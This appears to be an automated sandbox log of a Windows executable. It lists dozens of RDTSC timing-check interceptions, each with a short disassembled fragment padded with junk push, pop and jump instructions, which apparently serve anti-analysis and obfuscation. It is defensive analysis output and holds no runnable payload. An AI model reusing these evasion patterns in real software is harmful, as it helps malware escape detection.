Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D705D2 second address: 4D705F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, B4h 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+54h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9648C33B3Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D705F0 second address: 4D705F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D705F6 second address: 4D7064F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+18h], eax 0x0000000e pushad 0x0000000f mov ecx, 697B8573h 0x00000014 mov di, cx 0x00000017 popad 0x00000018 mov eax, dword ptr [ebx+58h] 0x0000001b jmp 00007F9648C33B42h 0x00000020 mov dword ptr [esi+1Ch], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F9648C33B3Ch 0x0000002c sbb si, F3A8h 0x00000031 jmp 00007F9648C33B3Bh 0x00000036 popfd 0x00000037 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7064F second address: 4D706A1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F96486CD658h 0x00000008 jmp 00007F96486CD655h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 mov eax, dword ptr [ebx+5Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F96486CD656h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D706A1 second address: 4D706CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9648C33B45h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D706CA second address: 4D706EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 push eax 0x00000011 push edx 0x00000012 mov si, 6B35h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D706EC second address: 4D70772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esi+24h], eax 0x0000000d pushad 0x0000000e mov di, cx 0x00000011 pushfd 0x00000012 jmp 00007F9648C33B3Ah 0x00000017 add ecx, 08876AB8h 0x0000001d jmp 00007F9648C33B3Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+64h] 0x00000027 jmp 00007F9648C33B46h 0x0000002c mov dword ptr [esi+28h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov dx, FF30h 0x00000036 pushfd 0x00000037 jmp 00007F9648C33B49h 0x0000003c jmp 00007F9648C33B3Bh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70772 second address: 4D707E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96486CD64Fh 0x00000009 add si, 773Eh 0x0000000e jmp 00007F96486CD659h 0x00000013 popfd 0x00000014 jmp 00007F96486CD650h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [ebx+68h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F96486CD64Dh 0x00000028 sbb esi, 0BFB2426h 0x0000002e jmp 00007F96486CD651h 0x00000033 popfd 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D707E6 second address: 4D70802 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9648C33B3Dh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+2Ch], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70802 second address: 4D70808 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70808 second address: 4D7081E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 mov dx, 0C3Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ax, word ptr [ebx+6Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7081E second address: 4D70822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70822 second address: 4D70828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70828 second address: 4D708B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96486CD655h 0x00000009 or ax, 5046h 0x0000000e jmp 00007F96486CD651h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov word ptr [esi+30h], ax 0x0000001b pushad 0x0000001c movzx esi, di 0x0000001f mov edx, 0D4EC4E8h 0x00000024 popad 0x00000025 mov ax, word ptr [ebx+00000088h] 0x0000002c jmp 00007F96486CD657h 0x00000031 mov word ptr [esi+32h], ax 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F96486CD654h 0x0000003c sbb ax, A278h 0x00000041 jmp 00007F96486CD64Bh 0x00000046 popfd 0x00000047 push eax 0x00000048 push edx 0x00000049 mov ax, 6145h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D708B8 second address: 4D708E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebx+0000008Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F9648C33B49h 0x00000015 pop eax 0x00000016 push edx 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D708E5 second address: 4D70950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96486CD658h 0x00000009 sub cx, 2E68h 0x0000000e jmp 00007F96486CD64Bh 0x00000013 popfd 0x00000014 mov edx, eax 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esi+34h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e push ebx 0x0000001f pop eax 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007F96486CD64Fh 0x00000029 sub cx, 525Eh 0x0000002e jmp 00007F96486CD659h 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70950 second address: 4D70999 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9648C33B40h 0x00000008 add cx, 0658h 0x0000000d jmp 00007F9648C33B3Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+18h] 0x00000019 jmp 00007F9648C33B46h 0x0000001e mov dword ptr [esi+38h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70999 second address: 4D7099D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7099D second address: 4D709BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D709BA second address: 4D709E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96486CD64Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D709E1 second address: 4D709E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D709E7 second address: 4D70A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+3Ch], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx ebx, cx 0x00000014 mov si, FA33h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70A0E second address: 4D70A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ecx, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebx+20h] 0x0000000d jmp 00007F9648C33B3Dh 0x00000012 mov dword ptr [esi+40h], eax 0x00000015 jmp 00007F9648C33B3Eh 0x0000001a lea eax, dword ptr [ebx+00000080h] 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F9648C33B3Dh 0x00000027 adc cl, FFFFFFD6h 0x0000002a jmp 00007F9648C33B41h 0x0000002f popfd 0x00000030 popad 0x00000031 push 00000001h 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F9648C33B3Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70A75 second address: 4D70ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96486CD64Ah 0x00000009 xor si, 5628h 0x0000000e jmp 00007F96486CD64Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 nop 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F96486CD654h 0x0000001f jmp 00007F96486CD655h 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70ACC second address: 4D70AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70AD0 second address: 4D70AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70AE9 second address: 4D70B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70B06 second address: 4D70B4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD650h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d mov si, 01FDh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F96486CD658h 0x00000019 adc ax, B208h 0x0000001e jmp 00007F96486CD64Bh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70BE6 second address: 4D70BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70BEA second address: 4D70BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70BF0 second address: 4D70C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, BCC9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test edi, edi 0x0000000e jmp 00007F9648C33B44h 0x00000013 js 00007F96B8CC25E7h 0x00000019 jmp 00007F9648C33B40h 0x0000001e mov eax, dword ptr [ebp-0Ch] 0x00000021 jmp 00007F9648C33B40h 0x00000026 mov dword ptr [esi+04h], eax 0x00000029 jmp 00007F9648C33B40h 0x0000002e lea eax, dword ptr [ebx+78h] 0x00000031 jmp 00007F9648C33B40h 0x00000036 push 00000001h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F9648C33B3Dh 0x00000041 and eax, 1166F6C6h 0x00000047 jmp 00007F9648C33B41h 0x0000004c popfd 0x0000004d pushad 0x0000004e popad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70C8F second address: 4D70C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70C95 second address: 4D70D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F9648C33B3Eh 0x00000011 push eax 0x00000012 jmp 00007F9648C33B3Bh 0x00000017 nop 0x00000018 pushad 0x00000019 mov edi, eax 0x0000001b pushfd 0x0000001c jmp 00007F9648C33B40h 0x00000021 xor eax, 2C83FC28h 0x00000027 jmp 00007F9648C33B3Bh 0x0000002c popfd 0x0000002d popad 0x0000002e lea eax, dword ptr [ebp-08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F9648C33B45h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70D11 second address: 4D70D5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f pushfd 0x00000010 jmp 00007F96486CD64Fh 0x00000015 or ecx, 38CEB37Eh 0x0000001b jmp 00007F96486CD659h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70E03 second address: 4D70E09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70E09 second address: 4D70E0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70E0E second address: 4D70E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9648C33B40h 0x0000000a or al, 00000058h 0x0000000d jmp 00007F9648C33B3Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 js 00007F96B8CC23BAh 0x0000001c pushad 0x0000001d mov ax, 192Bh 0x00000021 pushfd 0x00000022 jmp 00007F9648C33B40h 0x00000027 xor cx, DCB8h 0x0000002c jmp 00007F9648C33B3Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, dword ptr [ebp-04h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov bx, 20A6h 0x0000003d call 00007F9648C33B47h 0x00000042 pop eax 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70E86 second address: 4D70EA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+08h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70EA9 second address: 4D70EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70EC6 second address: 4D70F20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c jmp 00007F96486CD64Eh 0x00000011 push 00000001h 0x00000013 jmp 00007F96486CD650h 0x00000018 nop 0x00000019 jmp 00007F96486CD650h 0x0000001e push eax 0x0000001f pushad 0x00000020 mov cx, di 0x00000023 mov ch, dh 0x00000025 popad 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c push edx 0x0000002d pop eax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70F20 second address: 4D70F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, AF55h 0x00000007 pushfd 0x00000008 jmp 00007F9648C33B42h 0x0000000d sub si, A228h 0x00000012 jmp 00007F9648C33B3Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebp-18h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9648C33B45h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70F68 second address: 4D70FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F96486CD64Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F96486CD657h 0x00000019 xor eax, 0B464E2Eh 0x0000001f jmp 00007F96486CD659h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70FC8 second address: 4D70FEA instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5195C0B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dx, ax 0x0000000c popad 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9648C33B40h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70FEA second address: 4D70FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70FEE second address: 4D70FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70FF4 second address: 4D70FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D70FFA second address: 4D70FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7102A second address: 4D71059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96486CD651h 0x00000009 sbb esi, 6016EFD6h 0x0000000f jmp 00007F96486CD651h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71059 second address: 4D71068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test edi, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71068 second address: 4D71081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71081 second address: 4D710D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007F9648C33B48h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007F96B8CC2143h 0x00000014 pushad 0x00000015 mov di, cx 0x00000018 pushfd 0x00000019 jmp 00007F9648C33B3Ah 0x0000001e jmp 00007F9648C33B45h 0x00000023 popfd 0x00000024 popad 0x00000025 mov eax, dword ptr [ebp-14h] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov di, cx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D710D7 second address: 4D71115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a mov ecx, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F96486CD64Dh 0x00000013 and si, 0006h 0x00000018 jmp 00007F96486CD651h 0x0000001d popfd 0x0000001e mov ch, 2Fh 0x00000020 popad 0x00000021 mov dword ptr [esi+0Ch], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71115 second address: 4D71129 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71129 second address: 4D7113B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD64Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D7113B second address: 4D71168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, 74E806ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9648C33B45h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71168 second address: 4D711BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 call 00007F96486CD658h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, 00000000h 0x00000013 pushad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 movzx esi, bx 0x0000001b popad 0x0000001c lock cmpxchg dword ptr [edx], ecx 0x00000020 pushad 0x00000021 mov bh, 3Ch 0x00000023 push ecx 0x00000024 pop esi 0x00000025 popad 0x00000026 pop edi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F96486CD658h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D711BC second address: 4D712AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9648C33B41h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test eax, eax 0x0000000e pushad 0x0000000f push eax 0x00000010 mov si, di 0x00000013 pop edi 0x00000014 mov cx, 37E7h 0x00000018 popad 0x00000019 jne 00007F96B8CC2031h 0x0000001f jmp 00007F9648C33B3Ah 0x00000024 mov edx, dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 call 00007F9648C33B3Eh 0x0000002d mov edi, ecx 0x0000002f pop eax 0x00000030 call 00007F9648C33B47h 0x00000035 pushfd 0x00000036 jmp 00007F9648C33B48h 0x0000003b jmp 00007F9648C33B45h 0x00000040 popfd 0x00000041 pop eax 0x00000042 popad 0x00000043 mov eax, dword ptr [esi] 0x00000045 jmp 00007F9648C33B47h 0x0000004a mov dword ptr [edx], eax 0x0000004c jmp 00007F9648C33B46h 0x00000051 mov eax, dword ptr [esi+04h] 0x00000054 jmp 00007F9648C33B40h 0x00000059 mov dword ptr [edx+04h], eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F9648C33B47h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D712AE second address: 4D712C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D712C6 second address: 4D71321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F9648C33B3Dh 0x00000012 and cl, 00000046h 0x00000015 jmp 00007F9648C33B41h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F9648C33B40h 0x00000021 and si, 2FE8h 0x00000026 jmp 00007F9648C33B3Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov dword ptr [edx+08h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 4D71321 second address: 4D71325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
